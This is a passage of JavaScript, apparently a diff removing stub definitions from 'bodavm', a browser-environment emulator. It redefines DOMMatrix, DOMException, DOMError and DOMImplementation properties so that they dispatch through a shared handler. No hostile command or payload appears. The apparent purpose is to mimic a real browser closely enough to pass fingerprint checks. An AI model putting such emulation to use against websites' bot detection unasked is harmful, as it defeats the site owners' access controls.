"fromFloat64Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromMatrix", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "a_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "b_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "c_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "d_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "e_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "f_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m11_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m12_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m13_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m14_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m21_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m22_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m23_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m24_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m31_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m32_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m33_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m34_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m41_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m42_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m43_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m44_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "is2D", {configurable:true, enumerable:true, get:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "is2D_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "isIdentity", {configurable:true, enumerable:true, get:function isIdentity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "isIdentity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipX", {configurable:true, enumerable:true, writable:true, value:function flipX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipY", {configurable:true, enumerable:true, writable:true, value:function flipY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "inverse", {configurable:true, enumerable:true, writable:true, value:function inverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "inverse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "multiply", {configurable:true, enumerable:true, writable:true, value:function multiply (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "multiply", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateAxisAngle", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateAxisAngle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateFromVector", {configurable:true, enumerable:true, writable:true, value:function rotateFromVector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateFromVector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale3d", {configurable:true, enumerable:true, writable:true, value:function scale3d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale3d", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scaleNonUniform", {configurable:true, enumerable:true, writable:true, value:function scaleNonUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scaleNonUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewX", {configurable:true, enumerable:true, writable:true, value:function skewX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewY", {configurable:true, enumerable:true, writable:true, value:function skewY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat32Array", {configurable:true, enumerable:true, writable:true, value:function toFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat32Array", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat64Array", {configurable:true, enumerable:true, writable:true, value:function toFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat64Array", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "transformPoint", {configurable:true, enumerable:true, writable:true, value:function transformPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "transformPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "translate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toString", arguments)}},'prototype'); - -// DOMError对象 -bodavm.memory.globalobj['DOMError'] = function DOMError(){if (!(this instanceof DOMError)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DOMError': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMError'], "DOMError"); -bodavm.toolsFunc.defineProperty('DOMError', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "message_get", arguments)}, set:undefined},'prototype'); - -// DOMException对象 -bodavm.memory.globalobj['DOMException'] = function DOMException(){this._boarg= new bodaobj.window.DOMException();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMException'], "DOMException"); -bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", {configurable:false, enumerable:true, writable:false, value:11}); -bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", {configurable:false, enumerable:true, writable:false, value:12}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", {configurable:false, enumerable:true, writable:false, value:13}); -bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", {configurable:false, enumerable:true, writable:false, value:14}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", {configurable:false, enumerable:true, writable:false, value:15}); -bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", {configurable:false, enumerable:true, writable:false, value:16}); -bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:17}); -bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", {configurable:false, enumerable:true, writable:false, value:18}); -bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", {configurable:false, enumerable:true, writable:false, value:19}); -bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", {configurable:false, enumerable:true, writable:false, value:20}); -bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:21}); -bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", {configurable:false, enumerable:true, writable:false, value:22}); -bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", {configurable:false, enumerable:true, writable:false, value:23}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", {configurable:false, enumerable:true, writable:false, value:24}); -bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", {configurable:false, enumerable:true, writable:false, value:25}); -bodavm.toolsFunc.defineProperty('DOMException', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMException'].prototype, "DOMException", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", {configurable:false, enumerable:true, writable:false, value:13},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", {configurable:false, enumerable:true, writable:false, value:14},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", {configurable:false, enumerable:true, writable:false, value:15},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", {configurable:false, enumerable:true, writable:false, value:16},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:17},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", {configurable:false, enumerable:true, writable:false, value:18},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", {configurable:false, enumerable:true, writable:false, value:19},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "ABORT_ERR", {configurable:false, enumerable:true, writable:false, value:20},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "URL_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:21},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "QUOTA_EXCEEDED_ERR", {configurable:false, enumerable:true, writable:false, value:22},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "TIMEOUT_ERR", {configurable:false, enumerable:true, writable:false, value:23},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_NODE_TYPE_ERR", {configurable:false, enumerable:true, writable:false, value:24},'prototype'); -bodavm.toolsFunc.defineProperty('DOMException', "DATA_CLONE_ERR", {configurable:false, enumerable:true, writable:false, value:25},'prototype'); - -// DOMImplementation对象 -bodavm.memory.globalobj['DOMImplementation'] = function DOMImplementation(){if (!(this instanceof DOMImplementation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMImplementation'], "DOMImplementation"); -bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocument", {configurable:true, enumerable:true, writable:true, value:function createDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMImplementation', "createDocumentType", {configurable:true, enumerable:true, writable:true, value:function createDocumentType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createDocumentType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMImplementation', "createHTMLDocument", {configurable:true, enumerable:true, writable:true, value:function createHTMLDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "createHTMLDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMImplementation', "hasFeature", {configurable:true, enumerable:true, writable:true, value:function hasFeature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMImplementation'].prototype, "DOMImplementation", "hasFeature", arguments)}},'prototype'); - -// DOMMatrix对象 -bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix(){this._boarg= new bodaobj.window.DOMMatrix();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); -bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; -bodavm.memory.globalobj['DOMMatrix'].__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly']; -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments)}, set:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments)}, set:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments)}, set:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments)}, set:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments)}, set:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments)}, set:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments)}, set:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments)}, set:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments)}, set:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", {configurable:true, enumerable:true, get:function m32 (){return 